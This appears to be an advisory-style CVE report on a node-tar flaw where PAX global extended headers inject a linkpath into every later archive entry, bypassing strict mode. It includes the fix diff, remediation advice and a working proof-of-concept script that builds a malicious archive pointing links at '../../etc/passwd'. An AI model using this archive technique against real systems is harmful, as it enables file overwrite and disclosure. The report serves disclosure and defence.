CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-140239

CVE-2026-140239: Global Extended Header linkpath Injection in node-tar

Alon Barad
Alon Barad
Software Engineer

Dec 2, 2026·12 min read·7 visits

Executive Summary (TL;DR)

A parsing differential between Header and ReadEntry in node-tar (< 8.0.0) allows PAX Global Extended Headers to inject an unvalidated linkpath attribute into every subsequent archive entry, bypassing strict-mode checks and enabling path traversal or arbitrary file overwrite in downstream consumers of tar.Parser and tar.list().

CVE-2026-140239 (GHSA-ffhw-4r4q-5cwv) is an improper input validation vulnerability in the node-tar npm package prior to version 8.0.0. An inconsistency between the Header and ReadEntry parsing classes allows an attacker to inject an arbitrary linkpath attribute into all subsequent archive entries via a PAX Global Extended Header (type 'g'). Because the Header class ignores the global linkpath while ReadEntry applies it, the parser's strict-mode integrity validation is bypassed, enabling downstream applications that inspect entry.linkpath to be manipulated into arbitrary file read or write operations outside the extraction directory.

Vulnerability Overview

node-tar (published on npm as tar) is a widely deployed archive processing library for Node.js, used by package managers, build pipelines, and file ingestion services to pack, list, and extract TAR archives. Beyond its high-level extraction API (tar.x or tar.extract), node-tar exposes low-level streaming interfaces—specifically tar.Parser and tar.list()—that emit ReadEntry objects representing individual archive members as they are parsed from a byte stream.

In versions prior to 8.0.0, node-tar contains an input validation vulnerability classified under CWE-20 (Improper Input Validation) and CWE-345 (Insufficient Verification of Data Authenticity). The flaw resides in how the library processes POSIX.1-2001 (PAX) Global Extended Headers (header type g). While the POSIX specification dictates that global extended headers set default attributes for subsequent entries, file identity and destination properties such as path and linkpath must never be inherited globally.

A differential exists between how src/header.ts (Header) and src/read-entry.ts (ReadEntry) filter global PAX attributes. While Header properly discards both path and linkpath when evaluating a global extended header, ReadEntry only excludes path. Consequently, when an archive contains a global extended header defining a linkpath, ReadEntry attaches that attacker-controlled linkpath to every subsequent archive entry emitted to downstream consumers, including standard files (File) and directories (Directory).

Furthermore, because ReadEntry applies global extended headers after per-entry extended headers and USTAR header attributes, the injected global linkpath overwrites legitimate local linkpath values on symbolic and hard link entries. Because tar.Parser performs strict-mode validation against the Header instance (where header.linkpath remains undefined) rather than the resulting ReadEntry instance, this injection bypasses strict validation without generating warnings or errors.

Root Cause Analysis

To understand the root cause of CVE-2026-140239, it is necessary to examine how node-tar processes 512-byte TAR blocks and PAX extended metadata across its internal classes. The POSIX.1-2001 PAX format defines two extended header types: type x (ExtendedHeader), which applies key-value metadata exclusively to the single archive entry immediately following it, and type g (GlobalExtendedHeader), which establishes persistent default metadata for all subsequent entries in the archive until overridden.

In node-tar, src/parse.ts reads the incoming byte stream in 512-byte blocks. When the parser encounters a GlobalExtendedHeader block, it parses the key-value payload into a Pax instance and stores it in this[GEX]. When the parser encounters a subsequent file entry block, it decodes the 512-byte USTAR header by instantiating Header (src/header.ts), passing both the local extended header (this[EX]) and the active global extended header (this[GEX]).

Inside src/header.ts, the private method #slurp(ex, gex = false) merges PAX attributes into the Header object. The implementation in src/header.ts explicitly guards against global path and linkpath injection:

// src/header.ts
#slurp(ex, gex = false) {
  for (const [k, v] of Object.entries(ex)) {
    if (gex && (k === 'path' || k === 'linkpath')) continue
    // ... apply remaining attributes to Header
  }
}

Because Header.#slurp() skips linkpath when gex is true, header.linkpath remains undefined for ordinary file and directory entries. Next, Parser[CONSUMEHEADER]() executes its strict-mode integrity check against the Header object:

// src/parse.ts
if (!/^(Symbolic)?Link$/.test(type) &&
    !/^(Global)?ExtendedHeader$/.test(type) &&
    header.linkpath) {
  this.warn('TAR_ENTRY_INVALID', 'linkpath forbidden', { header })
}

Because header.linkpath is undefined, Parser[CONSUMEHEADER]() concludes that the entry is valid and proceeds to instantiate ReadEntry(header, this[EX], this[GEX]). However, ReadEntry (src/read-entry.ts) does not rely solely on the decoded properties of header; it re-applies ex and gex using its own separate #slurp() implementation. In ReadEntry.#slurp(), the filter predicate checks !(v === null || v === undefined || (k === 'path' && gex)), omitting the (k === 'linkpath' && gex) exclusion.

Compounding this omission, the ReadEntry constructor invokes this.#slurp(ex) before this.#slurp(gex, true). This inverted precedence causes global PAX attributes to overwrite local per-entry attributes. As a result, any linkpath specified in a GlobalExtendedHeader is forcefully assigned to entry.linkpath on every subsequent ReadEntry emitted by the parser, completely overriding local link targets on SymbolicLink and Link entries and injecting unexpected linkpath properties onto File and Directory entries.

Code Analysis

Prior to version 8.0.0, src/read-entry.ts handled extended headers in its constructor and #slurp() method with two distinct logical flaws: incorrect attribute precedence and incomplete global attribute filtering. In the vulnerable code, this.#slurp(ex) ran prior to this.#slurp(gex, true), and the filter condition inside #slurp() only blocked k === 'path' when gex was true.

Commit f351e5b4a8916bc8c8f821d0ad926a17d26ea237 directly addresses both defects in src/read-entry.ts. The patch diff illustrates the exact modifications made to the constructor and #slurp() method:

--- a/src/read-entry.ts
+++ b/src/read-entry.ts
@@ -96,11 +96,15 @@ export class ReadEntry extends Minipass<Buffer, Buffer> {
     this.uname = header.uname
     this.gname = header.gname
 
-    if (ex) {
-      this.#slurp(ex)
-    }
-    if (gex) {
-      this.#slurp(gex, true)
+    // Pending extended headers describe the next file entry, not a
+    // meta entry. Apply global first, so that local values win.
+    if (!this.meta) {
+      if (gex) {
+        this.#slurp(gex, true)
+      }
+      if (ex) {
+        this.#slurp(ex)
+      }
     }
   }
 
@@ -136,7 +140,15 @@ export class ReadEntry extends Minipass<Buffer, Buffer> {
           // we slurp in everything except for the path attribute in
           // a global extended header, because that's weird. Also, any
           // null/undefined values are ignored.
-          return !(v === null || v === undefined || (k === 'path' && gex))
+          // The Header already resolved size. It sets the body length.
+          return !(
+            v === null ||
+            v === undefined ||
+            k === 'size' ||
+            k === 'global' ||
+            (k === 'path' && gex) ||
+            (k === 'linkpath' && gex)
+          )
         }),
       ),
     )

The patch introduces four key hardening changes in src/read-entry.ts:

  1. Exclusion of Global linkpath: Adding (k === 'linkpath' && gex) to the exclusion condition in #slurp() brings ReadEntry into parity with Header, ensuring a global linkpath is never copied onto ReadEntry instances.
  2. Attribute Precedence Reversal: this.#slurp(gex, true) is now executed before this.#slurp(ex), ensuring that local per-entry extended headers (ex) take precedence over global extended headers (gex).
  3. Meta-Entry Guard: The extended header merging logic is wrapped in if (!this.meta), preventing pending extended headers from being applied to internal metadata entries.
  4. Size and Global Flag Protection: k === 'size' and k === 'global' are excluded from #slurp() because header.size has already been resolved by Header to control stream body length, and global is an internal property of the Pax class.

Following commit f351e5b4a8916bc8c8f821d0ad926a17d26ea237, node-tar underwent a broader architectural rewrite for the 8.0.0 release, migrating from Minipass streams to Uint8Array and Web Streams. In the finalized 8.0.0 release of src/read-entry.ts, #slurp() was replaced with #apply(), which enforces structural separation between general attributes and path attributes:

// src/read-entry.ts in node-tar >= 8.0.0
if (gex) this.#apply(gex)
if (ex) {
  this.#apply(ex)
  // A global header does not set a path or a linkpath.
  if (ex.path != null) this.path = win32 ? winPath(ex.path) : ex.path
  if (ex.linkpath != null) {
    this.linkpath = win32 ? winPath(ex.linkpath) : ex.linkpath
  }
}

In this redesigned implementation, #apply() copies only non-path metadata properties, while this.path and this.linkpath are exclusively evaluated within the if (ex) block. This structural separation eliminates the possibility of global extended headers modifying path or linkpath and represents a complete fix against variant injection attacks on this code path.

Exploitation Methodology

Exploiting CVE-2026-140239 requires an attacker to supply a crafted TAR archive to a Node.js application that parses archives using tar.Parser or tar.list() and performs filesystem or routing operations based on entry.linkpath. No authentication or special runtime configuration is required, and enabling strict: true on the parser does not block the attack because the validation check inspects header.linkpath prior to ReadEntry instantiation.

To construct a malicious archive, the attacker generates a 512-byte USTAR header block with type GlobalExtendedHeader (type flag 'g'), followed by a padded 512-byte data block containing a PAX key-value record formatted as <length> linkpath=<payload>\n (for example, 26 linkpath=../../etc/passwd\n). Following this global header, the attacker appends standard File (type flag '0') or SymbolicLink (type flag '2') entry blocks.

When the target application streams this archive through tar.Parser or tar.list({ onReadEntry }), the global linkpath is silently attached to every emitted ReadEntry. If the downstream consumer checks if (entry.linkpath) rather than verifying entry.type === 'SymbolicLink' || entry.type === 'Link' before calling fs.symlink() or fs.link(), the application will treat ordinary file entries as links pointing to the attacker-controlled linkpath. Similarly, if the application extracts a legitimate SymbolicLink entry after validating its USTAR header in an external tool, ReadEntry replaces its benign target (intended_safe_target.txt) with the malicious global target (../../etc/passwd).

The following proof-of-concept demonstrates the vulnerability and the strict-mode bypass in node-tar versions prior to 8.0.0:

import { Parser, Header } from 'tar'
 
// Construct a 512-byte USTAR header block
const makeHeaderBlock = (props) => {
  const block = Buffer.alloc(512)
  new Header({ mode: 0o644, size: 0, uid: 501, ...props }).encode(block)
  return block
}
 
// Format a POSIX.1-2001 PAX extended header record: "<length> <key>=<value>\n"
const makePaxRecord = (key, value) => {
  const body = ` ${key}=${value}\n`
  let len = body.length + 1
  while (String(len).length + body.length !== len) {
    len = String(len).length + body.length
  }
  return Buffer.from(String(len) + body)
}
 
// 1. Create PAX Global Extended Header (type 'g') with malicious linkpath
const paxPayload = makePaxRecord('linkpath', '../../etc/passwd')
const paxHeader = makeHeaderBlock({
  path: 'PaxHeader/global',
  type: 'GlobalExtendedHeader',
  size: paxPayload.length,
})
const paxPadded = Buffer.concat([
  paxPayload,
  Buffer.alloc(512 - (paxPayload.length % 512)),
])
 
// 2. Create an ordinary File entry (no linkpath in USTAR header)
const fileHeader = makeHeaderBlock({
  path: 'normal_file.txt',
  type: 'File',
  size: 0,
})
 
// 3. Create a SymbolicLink entry with a benign local linkpath
const linkHeader = makeHeaderBlock({
  path: 'symlink.txt',
  type: 'SymbolicLink',
  linkpath: 'intended_safe_target.txt',
  size: 0,
})
 
const eoa = Buffer.alloc(1024)
const archive = Buffer.concat([paxHeader, paxPadded, fileHeader, linkHeader, eoa])
 
// Parse with strict mode enabled
const parser = new Parser({
  strict: true,
  onReadEntry: (entry) => {
    console.log(`[Entry] path: "${entry.path}", type: "${entry.type}", linkpath: "${entry.linkpath}"`)
    entry.resume()
  },
})
 
parser.end(archive)

When executed against node-tar < 8.0.0, strict: true raises no warnings, and the parser outputs linkpath: "../../etc/passwd" for both normal_file.txt (type: "File") and symlink.txt (type: "SymbolicLink"). Against node-tar >= 8.0.0, normal_file.txt correctly reports linkpath: "undefined" and symlink.txt preserves linkpath: "intended_safe_target.txt".

Impact Assessment

CVE-2026-140239 is assigned a CVSS v4.0 Base Score of 7.2 (High) with the vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N. The attack vector is Network (AV:N) with Low attack complexity (AC:L), no attack requirements (AT:N), and no privileges required (PR:N), reflecting scenarios where web services, CI/CD runners, or package registries ingest untrusted TAR archives submitted by external users.

It is important to distinguish between node-tar's built-in extraction engine (tar.x / tar.extract / Unpack) and custom archive consumers built on tar.Parser or tar.list(). The built-in Unpack class is not directly exploitable for arbitrary file manipulation via this bug because Unpack dispatches extraction handlers strictly based on entry.type (ignoring entry.linkpath on File and Directory entries) and subjects all link creation operations to its own path containment checks ([STRIPABSOLUTEPATH] and root boundary validation).

However, downstream applications and wrapper libraries that use tar.Parser or tar.list({ onReadEntry }) directly to implement custom extraction, virtual filesystems, archive security scanners, or differential unpackers are directly exposed. In these applications, the vulnerability causes high integrity impact (VI:H) and low confidentiality and availability impact (VC:L/VA:L).

Specifically, if a custom consumer inspects entry.linkpath to determine whether to create a symlink or hardlink without validating entry.type, or if an archive inspection pipeline relies on tar.Parser({ strict: true }) to reject malformed entries before passing the archive to a secondary tool, an attacker can achieve arbitrary symlink creation or file overwrite outside the extraction directory. Furthermore, because ReadEntry overwrote local ex.linkpath values with gex.linkpath, an attacker can hijack existing symlinks within an archive to point to sensitive host files (such as /etc/passwd or application configuration files), leading to unauthorized file disclosure if the extracted symlink target is subsequently read or served by the application.

Remediation and Mitigation

The primary remediation for CVE-2026-140239 is to upgrade node-tar (tar) to version 8.0.0 or later. Version 8.0.0 incorporates commit f351e5b4a8916bc8c8f821d0ad926a17d26ea237 and the architectural refactor in src/read-entry.ts that prevents PAX Global Extended Headers from setting path or linkpath attributes and ensures local extended headers override global defaults.

npm install tar@^8.0.0

> [!NOTE] > node-tar 8.0.0 is a major release that introduces breaking changes. It requires Node.js version 22 or higher, replaces legacy Node.js stream and callback interfaces with Web Streams and Promise-based APIs, and relocates Node-specific synchronous filesystem helpers to the tar/node export subpath. Engineering teams running older Node.js runtimes should evaluate compatibility before upgrading.

For environments that cannot immediately migrate to Node.js 22 and tar@8.0.0, developers consuming tar.Parser or tar.list() must implement defensive validation within their entry event listeners or onReadEntry callbacks:

  1. Enforce Entry Type Checks: Never inspect or act upon entry.linkpath unless entry.type === 'SymbolicLink' || entry.type === 'Link'. Explicitly delete or set entry.linkpath = undefined on File, OldFile, and Directory entries before passing the ReadEntry object to downstream logic.
  2. Block Global Extended Headers: If the application does not require PAX Global Extended Header support, configure a filter or inspect raw header types in Parser to reject archives containing entries where entry.type === 'GlobalExtendedHeader'.
  3. Validate Link Targets: Before creating any symbolic link or hardlink from entry.linkpath, resolve the target path relative to the link's parent directory using path.resolve() and verify that the resolved destination resides strictly within the intended extraction root directory.

Official Patches

GitHub Advisory (node-tar)Official GitHub Security Advisory GHSA-ffhw-4r4q-5cwv
GitHub Commit (node-tar)Security fix commit in src/read-entry.ts
GitHub Release (node-tar)node-tar v8.0.0 Release Notes

Fix Analysis (1)

Technical Appendix

CVSS Score
7.2/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

Affected Systems

node-tar (tar npm package)

Affected Versions Detail

Product
Affected Versions
Fixed Version
tar (node-tar)
isaacs
< 8.0.08.0.0
AttributeDetail
Vulnerability IDCVE-2026-140239 / GHSA-ffhw-4r4q-5cwv
Affected Componentnode-tar (tar on npm) < 8.0.0
Weakness ClassCWE-20 (Improper Input Validation) / CWE-345 (Insufficient Verification of Data Authenticity)
CVSS v4.0 Score7.2 High (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N)
Attack VectorNetwork (Crafted TAR archive with PAX Global Extended Header type 'g')
ImpactStrict-mode validation bypass and arbitrary linkpath injection on ReadEntry objects, leading to arbitrary file read/write in downstream consumers
Exploit StatusProof-of-Concept available (regression test in test/parse-differential.test.ts)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
CWE-20
Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Vulnerability Timeline

Fix commit f351e5b4a8916bc8c8f821d0ad926a17d26ea237 authored and committed to isaacs/node-tar.
2026-11-27
node-tar v8.0.0 released with architectural overhaul and PAX GlobalExtendedHeader hardening.
2026-11-27
CISA KEV catalog synchronization confirms CVE-2026-140239 is not listed in KEV.
2026-11-30
GitHub CNA publishes security advisory GHSA-ffhw-4r4q-5cwv and assigns CVE-2026-140239.
2026-12-01
CVE-2026-140239 published in the National Vulnerability Database (NVD).
2026-12-01

References & Sources

  • [1]NVD - CVE-2026-140239 Detail
  • [2]CVE.org Record - CVE-2026-140239
  • [3]GitHub Security Advisory GHSA-ffhw-4r4q-5cwv
  • [4]Fix Commit f351e5b4a8916bc8c8f821d0ad926a17d26ea237 in isaacs/node-tar
  • [5]node-tar v8.0.0 Release
  • [6]CVEListV5 JSON Record for CVE-2026-140239

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-140244
7.2

CVE-2026-140244: Symlink Containment Bypass and Arbitrary File Read in node-tar

CVE-2026-140244 (GHSA-mhqm-9wj8-w7r4) is a symlink containment bypass vulnerability in node-tar prior to version 8.0.0. Because the archive unpacker validates symbolic link targets using purely lexical path normalization without accounting for intermediate archive-created symlinks, an attacker can craft a tar archive containing chained symlinks that resolve outside the extraction directory on the physical filesystem. Downstream applications that read, copy, serve, or re-archive the extracted directory tree follow these planted symlinks, resulting in arbitrary file read and information disclosure.

Amit Schendel
Amit Schendel
1 views•13 min read
•about 2 hours ago•CVE-2026-140242
7.1

CVE-2026-140242: Improper Input Validation in node-tar PAX Header Parser Causes Entry Loss and Denial of Service

CVE-2026-140242 (also tracked as GHSA-ph3c-p786-j4rp) is an input validation vulnerability (CWE-1284) in the node-tar package for Node.js, affecting versions >= 7.0.0 and < 7.5.24. The parser for POSIX.1-2001 Extended (PAX) header records fails to verify that the parsed value of the size attribute is a finite, safe integer. Supplying a PAX header record with a size value such as Infinity bypasses simple non-negative numerical checks via JavaScript unary coercion. This results in stream boundary corruption and entry loss during archive extraction, or an uncaught runtime exception and process termination when re-packing the archive.

Alon Barad
Alon Barad
3 views•11 min read
•about 3 hours ago•CVE-2026-140241
7.1

CVE-2026-140241: Uncaught Exception Denial of Service in node-tar via Zstandard Magic Header

CVE-2026-140241 is a Denial of Service (DoS) vulnerability in the node-tar archive manipulation library (npm package: tar) affecting versions 7.5.22 through 7.5.24. The defect stems from an uncaught synchronous exception thrown during the initialization of Zstandard (zstd) decompression on Node.js runtimes that lack native zstd bindings. An unauthenticated attacker can supply a 4-byte payload containing the zstd magic header (0x28 0xb5 0x2f 0xfd) to asynchronous listing or extraction APIs, causing the error to escape stream event handlers and terminate the Node.js process.

Alon Barad
Alon Barad
5 views•10 min read
•about 4 hours ago•CVE-2026-140240
7.1

CVE-2026-140240: Resource Exhaustion and Algorithmic Complexity Denial of Service in node-tar

CVE-2026-140240 (GHSA-7c32-79xj-j3jp) is a resource exhaustion and algorithmic complexity vulnerability in node-tar, the archive manipulation library for Node.js. In versions prior to 8.0.2, processing a small, crafted tar archive (approximately 20 KB) causes severe CPU degradation or triggers an Out-of-Memory (OOM) crash in the V8 JavaScript heap. The vulnerability stems from quadratic string allocation in asynchronous path reservation bookkeeping, unbounded depth and length validation on linkpath headers, memory retention leaks in reservation maps, and unbounded string caching in the Unicode normalization subsystem.

Alon Barad
Alon Barad
6 views•10 min read
•about 6 hours ago•CVE-2026-140238
7.2

CVE-2026-140238: PAX Extended Header Newline Injection and File Overwrite in node-tar

CVE-2026-140238 (GHSA-mpg7-vg3p-wc3m) is a high-severity parsing vulnerability in node-tar versions prior to 8.0.0. By splitting POSIX.1-2001 PAX extended header blocks on raw newline characters instead of enforcing byte-length framing prefixes, the parser allows unescaped newlines within metadata fields to inject forged PAX records. Attackers can override entry attributes such as file paths during extraction, enabling arbitrary file overwrites inside the destination directory and remote code execution on Windows via npm lifecycle script injection.

Alon Barad
Alon Barad
4 views•14 min read
•about 7 hours ago•CVE-2026-140237
6.9

CVE-2026-140237: PAX Metadata-Body File Smuggling and Interpretation Conflict in node-tar

An interpretation conflict vulnerability in node-tar versions 7.0.0 prior to 8.0.0 allows attackers to smuggle arbitrary tar archive members inside POSIX extended header (PAX) metadata blocks. Because node-tar reapplied pending PAX size attributes onto subsequent metadata entries, an attacker can set a PAX size of zero to prematurely terminate metadata body consumption. When combined with multi-engine inspection and extraction pipelines, this parser desynchronization permits file smuggling that bypasses archive member allowlists, malware scanning, and security policy verification.

Amit Schendel
Amit Schendel
9 views•12 min read